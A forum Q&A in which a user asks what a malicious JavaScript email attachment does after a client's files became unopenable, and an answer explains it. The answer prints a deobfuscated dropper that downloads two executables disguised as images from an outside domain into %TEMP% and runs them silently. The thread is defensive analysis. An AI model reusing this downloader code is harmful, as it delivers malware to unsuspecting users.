需要幫助搞清楚Js的功能

Question

如果有人知道這個Java腳本文件中發生了什麼，你能告訴我嗎？我們的一位客戶將此作爲電子郵件發送給她，現在她無法打開任何文檔或電子表格。也看起來像傳播到網絡的其餘部分。

如果有人能幫助我理解它，我將非常感激。

我刪除了它，而不是我想要其他人獲得的東西。

我可能不需要告訴任何人，但請不要打開它，除非它在沙箱。我不負責，如果你磚你的電腦。

來源：PM我要的文件，而..

Answer 1

基本上，這是一個下載病毒的臨時文件夾並執行它...

你應該運行整個網絡上的病毒掃描。

var AxProxy = function() {}; 

(function() { 
    function fFh(fr, Klw, rn) { 
     var VeZ = new AxProxy('WScript.Shell'); 
     var Klw = VeZ['ExpandEnvironmentStrings']('%TEMP%') + "\\" + Klw; 
     var OG4 = new AxProxy('MSXML2.XMLHTTP'); 

     OG4['onReadyStateChange'] = function() { 
      if (OG4['readyState'] === 4) { 
       var g38 = new AxProxy('ADODB.Stream'); 

       g38['open'](); 
       g38['type'] = 1; 
       g38['write'](OG4['ResponseBody']); 
       g38['position'] = 0; 
       g38['saveToFile'](Klw, 2); 
       g38['close'](); 
      } 
     }; 

     try { 
      OG4['open']('GET', fr, false); 
      OG4['send'](); 

      if (rn > 0) { 
       VeZ['Run'](Klw, 0, 0); 
      } 
     } catch (er) {}; 
    } 

    fFh("http://dorttlokolrt.com/images/one.jpg", '542824559.exe', 1); 
    fFh("http://dorttlokolrt.com/images/two.jpg", '589878543.exe', 1); 
}(); 

所有其他變量只是意圖混淆和阻礙解碼。

_{PS：我代理ActiveXObject所以這不能運行...}